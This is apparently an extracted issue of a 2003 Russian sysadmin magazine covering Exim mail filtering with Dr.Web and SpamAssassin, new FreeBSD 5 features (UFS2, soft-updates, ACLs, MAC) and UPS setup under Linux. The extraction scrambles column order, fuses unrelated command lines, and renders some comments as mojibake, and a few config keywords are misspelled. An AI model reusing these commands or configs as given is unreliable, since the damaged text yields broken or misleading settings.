Вставляем следующую строку: su-2.05a# /usr/bin/spamd -d -p 1783 -u spamd 0 2 * * * /usr/local/drweb/update/update.pl /usr/local/drweb/
Полный набор ключей вы можете узнать, запустив: su-2.05a# /usr/bin/spamd -h
Собираем Dr.Web Скачиваем и распаковываем Dr.Web с официального ftpсайта:
42
Запуск в 02:00 каждый день, параметр, переданный скрипту – это путь к антивирусным базам.
Конфигурируем Exim Теперь подробно рассмотрим файл конфигурации /usr/exim/ configure. Каждая секция, кроме главной, в файле конфигурации начинается со строки «begin <имя секции>».
администрирование Main section primary_hostname = ourmail.duster.ru – это официаль
ное имя нашего сервера, которое будет ставиться в заголовки. domainlist local_domains = ourmail.duster.ru : localmail.ru – локальные домены, подразумевается, что они адресованы нашему почтовому серверу, то есть нашему серверу явно задано, куда класть эту почту (к примеру, локальным пользователям). Обратите внимание, что для разделения используется двоеточие, а не запятая. domainlist relay_to_domains = duster.ru : demos.su – список доменов, для которых мы будем осуществлять релейинг, то есть принимать почту и пересылать на MX с меньшим приоритетом. hostlist relay_from_hosts = 127.0.0.1 : 192.168.0.0/16 – список сетей, с которых мы будем принимать любую почту (список сетей клиентов). Как видите, поддерживается формат CIDR. smtp_banner = «ESMTP Welcome.» – наш баннер, который виден людям при открытии нашего SMTP-порта. Лучше использовать подобный лаконичный баннер, нежели стандартный – зачем незнакомцам знать версию нашего MTA? qualify_domain = ourmail.duster.ru – домен, который мы будем дописывать к адресу, если он не указан. К примеру, если кто-то отсылает письмо на адрес «postmaster» вместо «postmaster@ourmail.duster.ru». Обычно это домен обслуживаемой компании. acl_smtp_rcpt = acl_check_rcpt – набор правил ACL, которые находятся в соответствующей секции конфигурационного файла. host_lookup = !192.168.0.0/16 – делать запрос в DNS на всех клиентов, кроме указанных. helo_allow_chars = _ – разрешить символ подчеркивания в команде HELO. Рекомендую, так как некоторые администраторы используют знак подчеркивания в именах своих почтовых серверов, и если не добавить эту опцию – ваш сервер не будет принимать их корреспонденцию. exiscan_condition = 1 – включаем работу Exiscan. Здесь и далее, 1 – значит включено, 0 – значит выключено (как в математической логике). exiscan_timeout = 5m – тайм-аут для работы Exiscan. exiscan_loglevel = 2 – уровень ведения логов. От 0 до 2; 0 – значит не вести лог вообще. exiscan_demime_condition = 0 – проверка на валидность MIME (к примеру, отсутствие двойных заголовков). Автор отключает, так как некоторые почтовые клиенты (типа Outlook Express) иногда создают письма с вложениями, которые не пройдут эту проверку. exiscan_demime_action = reject – что делать с непрошедшими? Можно отказать в приеме письма (reject), пропустить (pass) его, занести отправителя в черный список (blackhole) и заморозить письмо (freeze). exiscan_demime_pickyness = 2 – значение от 0 до 2 указывает, насколько сильно придираться к письму. exiscan_extension_condition = 1 – включаем проверку на расширение вложений.
№8(9), август 2003
exiscan_extension_data = pif:vbs:scr:bat – список запрещенных расширений.
exiscan_extension_action = reject – что делать? Варианты такие же, как в проверке MIME.
exiscan_av_condition = 1 – включаем антивирусный контроль.
exiscan_av_scanner = cmdline – Dr.Web не входит в спи-
сок стандартных антивирусов exiscan, поэтому пишем, что наш будет просто запущен из командной строки. Список поддерживаемых антивирусов: sophie – sophie AV daemon (http://www.vanja.com/tools/sophie/) kavdaemon – Kapersky AVP Daemon 3.x (http://www.kapersky.com) openav – OpenAV scanner daemon (http://www.openantivirus.org) clamav – ClamAV scanner daemon (http://clamav.elektrapro.com) mksd – mks scanner daemon (http://linux.mks.com.pl) exiscan_av_scanner_path = /usr/local/drweb/clients/drwebdc/ drwebdc – путь к нашему нестандартному антивирусу. exiscan_av_scanner_options = -n127.0.0.1 -rv -q -f| – ключи для запуска Dr.Web-клиента. 127.0.0.1 – адрес сервера, на котором крутится сервер Dr.Web (drwebd), он может быть нелокальным. exiscan_av_scanner_regexp_trigger = infected with – строка в выводе клиента Dr.Web, означающая, что вирус найден. exiscan_av_scanner_regexp_description = infected with (.*) – маска, определяющая местонахождение и название вируса. exiscan_av_action = reject – что делать с зараженными письмами? Варианты как в предыдущих проверках. exiscan_regex_condition = 1 – включаем поиск заданных строк в письмах. exiscan_regex_data = TEENPORN : Language Center – указываем запрещенные слова. exiscan_regex_action = reject – что делать? Конечно, запрещать! exiscan_spamd_condition = 1 – включаем анализ на принадлежность почты к спаму. exiscan_spamd_threshold = 7.6 – число от 0 до 999. Минимальный балл, при достижении которого письмо считается спамом. Чем меньше число, тем больше спама будет через вас проходить. Если балл достигнут – в заголовок письма вставится поле X-Spam-Score, указывающее сколько баллов было набрано. Все методы анализа писем дают дроби типа 0.5, 1.2, 2.6, поэтому имеет смысл указывать балл также в виде дроби. exiscan_spamd_header_style = full – количество информации, добавляемой в заголовок. none – в заголовок ничего не прописывается. single – добавится только поле X-Spam-Score. flag – если письмо считается спамом, то также добавляется флаг X-Spam-Flag. full – если письмо считается спамом, то также добавляется поле X-Spam-Report с подробным отчетом (по каким критериям письмо засчитано спамом).
43
администрирование exiscan_spamd_action = reject – что делать? Конечно,
запрещать! exiscan_spamd_subject_tag = *SPAM* – если вы все-таки пропускаете письма, то можно добавить в тему письма указанный тэг, к примеру *SPAM*. exiscan_spamd_address = 127.0.0.1 783 – адрес и порт, на котором крутится SpamAssassin, опять же может быть нелокальным.
ACL section Оставляем как есть, если у кого-то есть желание – можно добавить функцию callout. Для этого в строках verify = sender и verify = recipient добавляем /callout, то есть получаем строку типа verify = recipient/callout. Таким образом, наш сервер во время проверки адресов отправителя и получателя будет создавать SMTP-сессию с сервером, отвечающим за соответствующий домен отправителя или получателя, и проверять – существует ли там указанный пользователь. В таком случае письма с несуществующих адресов не будут проходить, но это скажется на времени работы почтового сервера.
Routers section Оставляем как есть, лишь добавляя по надобности дополнительные маршрутизаторы почты сверху секции. Пример:
Пример для фиксированного (единственного для всех) пароля: fixed_login_oe: driver = plaintext public_name = LOGIN server_prompts = "Username:: : Password::" server_condition = ↵ ${if and {{eq{$1}{user}}{eq{$2}{password}}}{yes}{no}} server_set_id = $1
Данный пример (LOGIN-механизм) работает для клиентов Outlook Express. Для Netscape Messanger следует использовать следующую конфигурацию: fixed_login_ns: driver = plaintest public_name = PLAIN server_condition = ↵ ${if and {{eq{$1}{user}}{eq{$2}{password}}}{yes}{no}} server_set_id = $1
Происходит примитивное сравнение указанных почтовым клиентом имени и пароля с нашими «user» и «password» (см. server_condition). По умолчанию все клиенты должны пройти аутентификацию, если мы прописали хоть один метод в этом разделе. Но лучше бы убрать ее для локальных пользователей, для этого добавим в основной раздел (в Main section) следующую строку: auth_advertise_hosts = !192.168.0.0/16
friends: driver = manualroute transport = remote_smtp route_list = friends.ru mx.friends.ru
Это явное задание маршрутизации почты friends.ru на сервер mx.friends.ru, стоит на нем MX или нет – роли не играет.
Transports section Оставляем как есть.
Retry section Оставляем как есть.
Финиш Все, мы у финиша – получили быстрое и техничное почтовое решение с анализом на наличие вирусов, спама и прочих «дефектов» в нашей корреспонденции! Автором статьи протестирована связка Exim с базами MySQL и OpenLDAP – работает превосходно. Скорость доставки – на грани фантастики! Лог-файлы хранятся по умолчанию в папке /var/mail/log. mainlog – основной лог проходящих писем; rejectlog – лог отклоняемых писем; paniclog – серьезные ошибки в работе MTA.
Rewrite section
Статистику можно смотреть утилиткой eximstats:
Перезапись адресов в заголовках осуществляется по примеру:
bash-2.05a$ /usr/exim/bin/eximstats -nr /var/mail/log/mainlog
*@friends.ru
postmaster@ourmail.duster.ru E
Сначала пишем, что менять, затем – на что. Флажок E означает, что изменится только адрес в рабочем заголовке, поля To: и From: останутся неизмененными.
Authenticators section Здесь задаются правила аутентификации, чтобы наш SMTP-сервер могли использовать только по паролю. Необходимость обычно существует только для систем бесплатной почты и компаний, которые хотят, чтобы их сотрудники могли использовать корпоративный SMTP-сервер из любой точки планеты.
44
Удачи всем постмастерам!
администрирование
№8(9), август 2003
45
администрирование
НОВЫЕ СРЕДСТВА ОС FreeBSD 5
ВСЕВОЛОД СТАХОВ 46
администрирование Ни для кого не секрет, что OС FreeBSD является весьма популярной на productive-серверах. Причиной тому служит высокая степень защищенности «системы по умолчанию» (т.е. система изначально больше ориентирована на безопасность, чем на удобство для пользователя), очень высокая производительность, чрезвычайно удобная система портов и обновления системы (cvsup). Как и все *nix, FreeBSD изначально ориентирована на использование в сети, поэтому она содержит качественный стек протоколов TCP/IP, очень мощный пакетный фильтр ipfw и неплохую поддержку множества сетевых технологий и протоколов. Не так давно появившаяся 5 ветка (на момент написания этой статьи последней была версия 5.1, вышедшая 9.06.2003) FreeBSD явилась результатом почти трехлетнего труда разработчиков и, несомненно, отвечает требованиям времени. В 5 версии ОС FreeBSD появилось достаточно много нововведений по сравнению с 4 веткой системы. Из них стоит выделить такие, как поддержка ACPI, экспериментальная поддержка MAC (Mandatory Access Controls), новая версия файловой системы UFS – UFS2. В этой статье рассказывается о новых средствах, появившихся или получивших более качественную поддержку в 5 ветке FreeBSD. Начнем с особенностей файловой системы – UFS2. Учтите, что по умолчанию FreeBSD 5.0 создает разделы с файловой системой UFS1, для создания UFS2-раздела можно специально указать типы sysinstall или воспользоваться командой newfs следующим образом: # newfs -U -O2 /dev/ad0s3d
где опция -U означает включение режима soft-updates (будет пояснено далее), а -O – выбор версии UFS. Какие же это средства и каково их применение? Итак, среди наиболее важных нововведений можно выделить следующие: преодоление «терабайтного барьера»; ограничения на размер одного раздела в 1 терабайт, что достигнуто использованием 256-байтных inode, позволяющих иметь 64-битный указатель смещения (если вы никогда ранее не работали с FreeBSD, то учтите, что раздел MS-DOS и раздел FreeBSD означают совершенно разные вещи: раздел MS-DOS в терминологии BSD именуется «слайсом» и управляется программой fdisk, но на слайсе может быть несколько разделов, которые управляются программой disklabel); поддержка технологии soft-updates и snapshots (проект FFS – fast file system); поддержка списков доступа (acls) (проект TrustedBSD: www.trustebsd.org). Что же означают последние два пункта? Начну по порядку. Итак, что прежде всего требуется от файловой системы? Надежность и скорость. Эти два критерия являются основополагающими, но, к сожалению, более надежная система часто является более медленной. Надежность файловых систем всегда была и будет объектом пристального внимания разработчиков. Представим себе традиционную файловую систему, например, fat или ext2. Наиболее слабым местом любой ФС являются операции за-
№8(9), август 2003
писи, т.к. они изменяют содержимое нескольких областей диска. При записи файлов происходит 2 процесса записи: запись данных и запись метаданных (информации об имени файла, его смещении, режиме доступа и т. д.), при этом метаданные хранятся в начале диска. При традиционной схеме данные и метаданные записываются синхронно. То есть метаданные записываются уже «по факту» записи основных данных. Такая схема использовалась традиционно в ufs, т.к. является достаточно безопасной. Недостатком такой системы является очень медленное обновление метаданных, что может вызвать большие потери данных при непредвиденных ситуациях. В таком случае запускается fsck, и эта программа проверяет блоки, помеченные как «занятые», на правильность (т.е. всем занятым блокам должны соответствовать корректные метаданные, иначе такие блоки нужно отметить как «свободные»). Следующим шагом развития ФС явилась асинхронная запись (режим работы ext2 по умолчанию или ufs, монтированной с опцией async). При этом метаданные записываются сразу же после записи основных данных, что дает очень существенный выигрыш в скорости по сравнению с предыдущей системой, но при этом страдает надежность. Если же в процессе записи неожиданно произошел сбой (например, отключение питания), то часто метаданные бывают неверны или указывают на несуществующие данные. Для устранения неполадок в файловой системе запускается программа fsck, назначение которой в исследовании всех метаданных на валидность и проверке всех занятых блоков. Естественно, при такой схеме возможна весьма существенная потеря данных и, кроме этого, fsck выполняется довольно долго, т.к. необходимо проверить все метаданные и все занятые блоки. Файловые системы следующего типа (можно даже сказать поколения) используют так называемый журналируемый режим (ext3, ntfs, reiserfs), который подразумевает следующее: метаданные записываются синхронно с основными данными, но на специальную небольшую область диска – журнал, находящийся в быстродоступном месте. После записи данных метаданные переносятся в положенное место. При возникновении неполадок fsck проверяет валидность метаданных, находящихся в журнале и осуществляет перенос валидных inode в нужное место, а также удаляет неправильные метаданные. Эта схема намного более надежна, чем первая, т.к. нет риска порчи большого количества метаданных. Кроме этого, fsck выполняется очень быстро, т.к. осуществляется проверка лишь малой части диска. Главный недостаток журналируемых ФС – более низкая производительность, т.к. метаданные должны записываться дважды. Это особенно заметно на серверах, которые интенсивно оперируют с данными (почтовые серевра, сервера баз данных). Для устранения этого недостатка был разработан новый тип записи метаданных, который и применяется во FreeBSD 5.x. При такой схеме, называемой soft-updates, метаданные пишутся в синхронном режиме, но не на диск, а в оперативную память. Логично сказать, что операции с памятью на несколько порядков быстрее операций с диском. После записи данных метаданные в памяти записываются на диск (т.е. записываются лишь однажды) в определенном по-
47
администрирование рядке (в отдельных случаях это дает прирост производительности на 70% (!)). Порядок записи метаданных определяется специальным алгоритмом, который определяет приоритет каждого блока метаданных в памяти. При возникновении сбоя система просто откатывается примерно на полминуты назад и продолжает работу в нормальном режиме (нет даже необходимости в запуске fsck, поэтому система может спокойно монтироваться, даже не будучи корректно отмонтированной). Единственная проблема в наличии блоков, которые помечены как «занятые», но которым не соответствуют метаданные. Для устранения таких блоков, являющихся по сути дела мусором, применяется фоновая проверка (bgfsck), которая запускается и работает, не мешая нормальной работе системы, освобождает неправильно помеченные блоки. В таком случае в результате сбоя происходит потеря метаданных, находящихся в памяти, что не очень существенно, т.к. преимуществ у такой схемы все равно больше. Главным образом это, конечно, высокая производительность. Система soft-updates представляет собой компромисс между оптимальной производительностью (практически как у асинхронных систем) и оптимальной надежностью (практически как у синхронных систем). По моему мнению, систему с soft-updates идеально применять на серверах, испытывающих большую нагрузку. Есть еще одна из реализаций технологии soft-updates, когда метаданные записываются в энергонезависимую память, что дает еще больший выигрыш в надежности (фактически надежность журналируемых ФС и скорость soft-updates). Главным минусом, безусловно, является недостаточная поддержка энергонезависимой памяти и необходимость разработки специальных алгоритмов восстановления. Еще одно преимущество, присутствующее в ffs, – снимки файловых систем, так называемые snapshots, которые позволяют оперировать с файлом снимка так, как если бы он был реальной файловой системой (об этом читайте подробнее на странице http://www.mckusick.com/softdep/ или в /usr/src/sys/ufs/ffs/README.snapshot). Итак, разобравшись с теоретическим аспектом вопроса, можно переходить к его реализации на практике. Для поддержки режима soft-updates необходимо добавить следующие параметры компиляции ядра: options FFS options SOFTUPDATES (во FreeBSD 5 включены по умолчанию). Для включения режима soft-updates во FreeBSD 5 можно воспользоваться 2 способами. Наиболее универсальным является применение tunefs или указание флага -U при создании ФС со помощью команды newfs. # tunefs -n enable /dev/ad0s3d # newfs -U -O2 /dev/ad0s3d
Для работы tunefs необходимо размонтировать систему, что удобнее делать в single-user mode. Напомню, что для перехода в такой режим можно воспользоваться следующей командой: # shutdowm now Enter a path to shell or press Enter for /bin/sh ... # umount /usr # tunefs -n enable /dev/ad0s3d # logout
48
После чего раздел будет примонтирован со включенным режимом soft-updates. Для корневой файловой системы лучше всего включить необходимые режимы на этапе установки системы (для этого в редакторе disklabel программы sysinstall необходимо нажать Shift+Z и указать опции newfs – -U -O2). Хочу отметить, что режим softupdates может применяться и для UFS1, но файловая система UFS2 является, на мой взгляд, более совершенной и продуктивной, чем UFS1, поэтому я не вижу причин для использования UFS1 (кроме, пожалуй, испытанности временем). Чтобы увидеть, в каком режиме работает та или иная файловая система, достаточно просто вызвать mount без аргументов: cebka/usr/src$ mount /dev/ad0s3a on / (ufs, local, soft-updates) devfs on /dev (devfs, local) /dev/ad0s3d on /usr (ufs, local, soft-updates)
Другая весьма полезная возможность, нашедшая применение во FreeBSD 5.0, – это возможность создания списков доступа (acl) к файловым объектам. Любой, кто работал с системой безопасности WinNT, сталкивался с подобной технологией. Отличие списков доступа от традиционной системы защиты файлов Unix, когда все пользователи разграничиваются на владельца, группу владельца и всех остальных, в возможности задания определённым группам и/или пользователям собственных прав доступа. Это выглядит следующим образом: традиционная схема – rw-r----acls – user:root:rw,group:wheel:r,user:wheel_adm:rw в первом случае владелец имеет право чтения и записи, группа – право чтения, остальные доступа к файлу не имеют; во втором случае наблюдается похожая ситуация, но доступ на запись к файлу имеет не только владелец, но и некий пользователь wheel_adm. На первый взгляд отличия не так велики, но система acls очень гибко управляет доступом к файлам, позволяя строить произвольные списки доступа, разграничивая права различных пользователей и групп. Для включения поддержки acls нужно включить следущую опцию компилирования ядра: options U F S _ A C L (во FreeBSD 5 включена по умолчанию). Разберемся, как управлять списками доступа на практике. Сразу же отмечу, что использовать acls лучше всего на UFS2-системе, т.к. она была разработана с учетом данной технологии, в отличие от UFS1, где использовать списки доступа можно, но не рекомендуется. Итак, чтобы включить acls на файловой системе, можно воспользоваться несколькими путями: использовать tunefs (наиболее надежный способ, но требуется размонтирование ФС): # tunefs -a enable /dev/ad0s3d
использовать опцию монтирования acls (лучше всего прописать в /etc/fstab): /dev/ad0s3d
/usr
ufs
rw,acls1
1
Примечание: хотя об использовании этой опции гово-
администрирование рится в FreeBSD Handbook, но у меня она (опция) отказалась работать наотрез – пришлось использовать tunefs в single-user mode (для использования tunefs корневой системы я использовал аварийный диск, т.к. иначе отмонтировать невозможно). Для проверки введите mount без параметров: cebka/usr/src$ mount /dev/ad0s3a on / (ufs, local, soft-updates, acls) devfs on /dev (devfs, local) /dev/ad0s3d on /usr (ufs, local, soft-updates, acls)
Для просмотра acl для файла или каталога (будут показаны Unix-права доступа к файлу, который не имеет расширенных атрибутов acl) используется команда getfacl: вывод прав доступа к файлу в «классическом» стиле Unix: cebka /home/cebka$ ls -l test1 -rw-r--r-- 1 root wheel 8 20 èþë 23:35 test1
вывод прав доступа в виде acl: cebka /home/cebka$ getfacl test1 #file:test1 <-- èìÿ ôàéëà #owner:0 <-- âëàäåëåö( UID) #group:0 <-- ãðóïïà (GID) user::rw- <-- ïðàâà âëàäåëüöà (ïîëüçîâàòåëü ïî óìîë÷àíèþ) group::r-- <-- ïðàâà ãðóïïû (ãðóïïà-âëàäåëåö ïî óìîë÷àíèþ) other::r-- <-- ïðàâà âñåõ îñòàëüíûõ
Как видно из примера, если имя пользователя или группы не указано, то подразумевается, что это пользователь или группа-владельцы файла. Естественно, что просматривать расширенные атрибуты для обычных файлов неинтересно, поэтому попробуем установить файлу «экзотические» атрибуты, которые нам позволяет использовать технология acls. Для этой цели используется команда setfacl (а вы как подумали?), для добавления нового режима доступа используется опция -m: # touch /tmp/test.tmp && chmod 0600 /tmp/test.tmp # setfacl -m user:test:rw,group:test:r /tmp/test.tmp
этой командой были разрешены запись и чтение пользователю test и чтение группе test. В общем формат acl таков: "класс (пользователь(user), группа(group), others маска(mask)):наименование (имя для пользователя или группы, пустое поле означает объект по умолчанию (владелец файла для user и group), всегда используется для классов mask и others):права доступа (обычные права доступа в стиле Unix)". Проверяем атрибуты файла: # getfacl /tmp/test.tmp #file:/tmp/test.tmp #owner:1 #group:1 user::rwuser:test:rwgroup::—group:test:r— mask::rw- <— ìàêñèìàëüíûé ðåæèì äîñòóïà äëÿ «îáû÷íûõ» ïîëüçîâàòåëåé (íå âëàäåëåö) other::—# su test $ cat > /tmp/test.tmp test ^D $ cat /tmp/test.tmp test
№8(9), август 2003
Как видите, пользователь test имеет право записи и чтения из файла /tmp/test.tmp, обратите также внимание на вывод команды ls: # ls -l /tmp/test.tmp -rw-------+ 1 root wheel
0 22 èþë 04:03 test.tmp
Символ «+» означает наличие расширенных атрибутов в виде acl. Команда setfacl также используется для удаления специфических прав, для этого используется опция -x, которая с точностью до наоборот похожа на опцию -m. Также существует возможность чтения списка доступа из файла, что указывается опциями -M file и -X file соответственно. Полезной мне также показалась опция -b, которая удаляет все права доступа, кроме трех стандартных Unixобъектов (владелец, группа, остальные). Итак, как выяснилось, acl – очень полезная технология. Для тех кто не может пока представить себе, зачем это нужно, приведу несколько конкретных примеров: ключи симметричного шифрования (например, для системы TSIG DNS-сервера BIND) – такие файлы не должны иметь возможность читаться всеми, в то же время желательно, чтобы их владельцем оставался root:wheel (чтобы злоумышленник не смог изменить атрибуты файла), тогда удобно установить следующий acl: # chown root:wheel example.key # chmod 000 example.key # setfacl user:bind:r example.key
нередко списки доступа очень удобно применять в mailили samba-службах, где требуется разграничить различных пользователей (например, дать возможность начальству просматривать личные файлы подчиненных). Вывод: acls – очень полезное средство управления файлами и каталогами. Напоследок я бы хотел сказать несколько слов о технологии MAC, взятой разработчиками FreeBSD 5.0 из проекта TrustedBSD (www.trustedbsd.org). Что же может дать нам эта технология, и вообще, что она из себя представляет? Итак, в традиционном Unix используются принципы равноправия всех пользовательских объектов, то есть пользователь может получить доступ к системным объектам, которые принадлежат ему. Технология MAC предполагает наличие метки уровня безопасности для любого системного объекта (под этим термином предполагаются процессы, файлы и каталоги, устройства, пользователи и т. п.) и строгого разграничения доступа между различными уровнями (определяется выбранным модулем MAC); для поддержки технологии MAC нужно указать опцию компиляции ядра: options MAÑ
Сама система MAC состоит из набора модулей, выполняющих различные функции, из них можно выделить как и те, что реализуют политику разграничения доступа (mac_biba, mac_mls, mac_lomac) так и те, что выполняют
49
администрирование разнообразные служебные функции. Для ознакомления с модулями системы MAC я направляю читателя к FreeBSD Handbook, так как там все описано достаточно подробно и нет смысла приводить здесь кучу материала, который уже есть в разжеванном виде. Далее я просто хочу немного поделиться впечатлениями от использования данной системы. Итак, я скомпилировал ядро с поддержкой всех MAC-модулей и поправил /boot/defaults/loader.conf для загрузки модулей при старте системы (дело в том, что многие модули не могут быть загружены во время работы системы и, в первую очередь, это модули, выполняющие разграничение уровней безопасности). Больше всего меня привлек модуль mac_bsdextended, позволяющий создавать правила для доступа к файловым объектам в стиле ipfw, но, к моему сожалению, команда: # ugidfw set 1 subject uid 1002 gid 1002 ↵ object uid 1 gid 1 mode arsw
которая должна разрешить чтение, запись, смену атрибутов и административные полномочия (параметр mode arsw) для пользователя (subject) 1002:1002 над файловыми объектами, принадлежащими (object) пользователю и группе daemon, почему-то не сработала должным образом. Далее я проверил работу модуля блокировки интерфейсов mac_ifoff, который блокирует сетевые интерфейсы до их явного включения посредством sysctl. Этот модуль действительно работает так, как сказано в man 4 mac_ifoff – модуль предотвращает «забивание» очереди интерфейса на этапе загрузки системы простым путем – не давая проходить пакетам до явного использования команды: # sysctl security.mac.ifoff.other_enabled=1
Из политик, предусматривающих установку меток безопасности я отметил некоторую их громоздкость, хотя идея мне понравилась. Например, хотим сделать так, чтобы пользователи не имели доступа к процессам login-группы bind, а также отделить группу user. Идем в файл login.conf (просмотрев предварительно man 7 maclabel) и пишем что-нибудь подобное, выполняя разграничение классов: default:\ ---cutted--:label=partition/1 bind:\ :label=partition/2 user:\ :label=partition/3
В данном примере пользователям с данным login-классом устанавливается метка модуля mac_partition, позволяющего выделить до 65535 групп процессов, определяемых номером, изолированных друг от друга в адресном
50
пространстве (видны только процессы текущей группы). Использовать метки в принципе не так уж и сложно, проблемы могут возникнуть только со сложными метками (например, mac_biba), но информацию по формату меток легко получить из соответствующей страницы man. Учтите, что для установки меток mac-файлам используется команда setfmac label file [file2] ..., имеющая полезную опцию -R (рекурсивность обработки каталогов). Помимо этого для установки меток для процессов используется команда setpmac label command, запускающая процесс comand с меткой label. Для управления сетевыми интерфейсами используется опция ifconfig maclabel label. Для тех, кто решил воспользоваться преимуществами технологии MAC, я настоятельно рекомендую почитать страницу руководства maclabel(7), где достаточно понятно объясняется формат MAC-метки. Также полезной для рассмотрения является страница mac(4), где приводится список MAC-модулей и соответствующих man-pages. На этом я, пожалуй, завершу свое краткое описание технологии MAC (на самом деле технология MAC находится в стадии развития, поэтому детально все описывать не имеет смысла, т.к. в скором времени, возможно, изменится многое). Одно я могу сказать точно: у технологии MAC, несмотря на некоторую сложность, есть будущее, особенно если учесть тот факт, что существуют коммерческие решения, обеспечивающие те же принципы. А MAC бесплатна в рамках FreeBSD, что тоже немаловажно. Но самое главное – это новый подход к модели безопасности системы, позволяющий отделить критические объекты от остальных, повысив защищенность первых от последних (см. описания модулей mac_mls и mac_biba). Особенно мне интересной показалась идея файлового брандмауэра, хотя у меня она и не заработала. Остается только надеяться, что в будущих версиях MAC выберется из состояния «экспериментальная», будет более тесно интегрирована с системой и появятся новые удобные инструменты (впрочем, никому не возбраняется участвовать в их создании). Но пока я бы не рекомендовал использовать ее на productiveсерверах, т.к. код еще сырой. Вывод всей статьи: FreeBSD 5 – это система, вобравшая в себя множество преимуществ и практически не имеющая (на мой взгляд) недостатков. Полезные ссылки на различные документы:
www.trustedbsd.org – проект безопасной BSD; /usr/share/doc/en_US.ISO8859-1/books/handbook/ – FreeBSD handbook;
man 4 mac – введение в технологию MAC; http://www.mckusick.com/softdep/ – информация о
SoftUpdates и Snapshots (не освещены в этой статье), спроектированных в рамках проекта ffs; http://www.freebsd.org/cgi/man.cgi – ну а как же без этого; Яремчук С. SELinux. – журнал «Системный администратор» №5(6), 2003г. – 64-68 с.
hardware
ПЛОХОЕ ЭЛЕКТРОПИТАНИЕ, ИЛИ «ГРАБЛИ» С UPS Подключение источника бесперебойного питания UPS Powercom KIN 625AP
ПАВЕЛ ЗАКЛЯКОВ 52
hardware К сожалению, отечественные сети электропитания не обеспечивают достаточную стабильность подаваемого напряжения. Напряжение может изменяться по значению и пропадать на время от нескольких миллисекунд до нескольких часов без предварительного предупреждения. Данная нестабильность в электропитании есть следствие особенностей российского законодательства. В идеале проблемы и последствия сбоев электропитания должны решать страховые компании и юристы. Однако мы живем далеко не в идеальной стране, полной исключений. Все знают, что «русский сервис ненавязчив», и за разумные деньги выбирать особо не приходится. Данная статья показывает довольно дешевый вариант решения проблемы электропитания. Первым этапом защиты серверов от пропадания напряжения служит установка блоков (источников) бесперебойного питания. Однако покупка дорогих моделей (например, фирмы APC) не всем по карману. Поэтому всю публику, обслуживающую сервера, можно разделить на два класса. Первые покупают профессиональные и, соответственно, дорогие и качественные модели. В соотношении цена/качество больше внимания уделяют качеству. Вторые экономят деньги, собирая сервера в прямом смысле «на коленке» и в соотношении цена/качество больше смотрят на цену. Статья рассчитана на вторых, хотя и первые могут почерпнуть что-либо полезное для себя. Многие думают, что покупка ИБП (источников бесперебойного питания, UPS, Uninterruptable Power Supply) есть решение проблемы. Данная мысль правильная, и любой ИБП лучше, чем его отсутствие. Увы, но по моим наблюдениям, довольно много мелких серверов вообще не защищено ИБП. Хотелось бы администраторов таких серверов убедить в необходимости покупки и последующей правильной настройке ИБП, а данная статья поможет в этом. Надеюсь, что убеждать вас в том, что наличие ИБП в наших условиях необходимо, не стоит. Возникает вопрос: «А что купить?» На рынке полно моделей с различными ценами. Мой выбор пал на UPS Powercom KIN 625AP.
минут, и в момент включения монитора возможен значительный скачок напряжения, что приведет к перезапуску компьютера. А по закону подлости у вас обязательно возникнет необходимость администрирования с консоли, если вы рассчитываете, что вас эта ситуация обойдет стороной. Более емкие модели дороги, и их излишняя емкость не будет использоваться. Вопрос в выборе емкости не такой сложный. Другим критерием выбора ИБП является возможность создания обратной связи с компьютером и возможность управления. Есть модели с управлением и без него. Выбранная мной модель с управлением, и я вам советую брать такую же. Она стоит несколько дороже, зато это большой плюс, так как компьютер может оповещать администратора, сам выключаться и включаться.
Ðèñóíîê 2.
В комплекте к UPS Powercom KIN 625A шли два сетевых кабеля на 220 вольт, телефонный кабель и кабель управления для подключения к COM-порту с разъемом DB-9. Защита телефонной линии пока мне не понадобилась, несмотря на наличие модема, но потенциально порадовала возможность использования ее в будущем.
Ðèñóíîê 1.
Данная модель наиболее оптимальна для одного компьютера-сервера без монитора. Менее емкие модели менее желательны, так как они не могут использоваться для подключения монитора. Их емкости хватит на несколько
№8(9), август 2003
Ðèñóíîê 3.
Например, при пропадании сети возможен дозвон альтернативному провайдеру и сброс сообщения, однако это уже тема другой статьи.
53
hardware Софта к ИБП под Linux на прилагаемом компакт-диске не было. Стандартные средства Linux мне настроить не удалось. Возможно, я с ними не до конца разобрался. Поэтому я начал свои поиски в Интернете и нашел следующие документы: Readme of KINMON FOR LINUX; http://www. zelenayavolna.com/download/power1.htm Cайт фирмы «Зеленая Волна», содержащий программы и описания для различных моделей ИБП Powercom, в том числе и программное обеспечение под Linux; http:/ /www.zelenayavolna.com/support.asp?cat=81 Сайт Powercom, раздел download; http://www.pcm.ru/ ?p=18 файл powerd-for-powercom-kin-ups.tar.gz с описанием установки for PowerCom King Pro by Fedor Lizunkov 2:5020/960@Fidonet*. Более полная информация, правда уже на английском языке и без адаптации для UPS Powercom имеется на сайте Red Hat [4]. Я вкратце опишу, что было придумано и какие файлы надо создать и скомпилировать. Желающие могут поискать первоисточники самостоятельно. Однако в этих источниках не будет сделанных мною дополнений и исправлений. В powerd-for-powercom-kin-ups.tar.gz имеются как программы, так и их исходники на С. Заранее скомпилированные файлы работают у меня без проблем. Для компиляции исходников пришлось внести в них изменения, см. ниже. После компиляции полученные файлы на правильность работы я не проверял. Скорее всего, они должны работать не хуже готовых. Если будут проблемы, то их можно обсудить в форуме журнала (http://www.samag.ru/cgi-bin/yabb/YaBB.pl). Дополнительные документацию и программы вы можете скачать с вышеупомянутых ссылок самостоятельно. Итак, приступим. Для работы с UPS используются две программы: первая, собственно, powerd – демон UPS. Вторая – poweroffups, котороя выключает UPS. Все должно работать с «родным» кабелем для подключения к COM-порту, если не работает – смотрите далее. /* * * * * * * * * * * * *
powerd
Catch power failure signals from a Trust Energy Protector 400/650 and notify init
Usage:
powerd /dev/cua3 (or any other serial device)
Author:
Ciro Cattuto <ciro@stud.unipg.it>
Version 1.0 - 31 March 1997 This code is heavily based on the original powerd.c code by Miquel van Smoorenburg <miquels@drinkel.ow.org>.
*Ê ñîæàëåíèþ, ïîñëåäíèé ôàéë ìíîé íå áûë íàéäåí ïî íàçâàíèþ è ÿ íå ìîãó äàòü íà íåãî æèâóþ ññûëêó. Ñàì ÿ åãî ñêà÷èâàë íåñêîëüêî ëåò íàçàä è ïîýòîìó îí óñïåë ïðîïàñòü èç ñåòè ê ìîìåíòó íàïèñàíèÿ ñòàòüè.
54
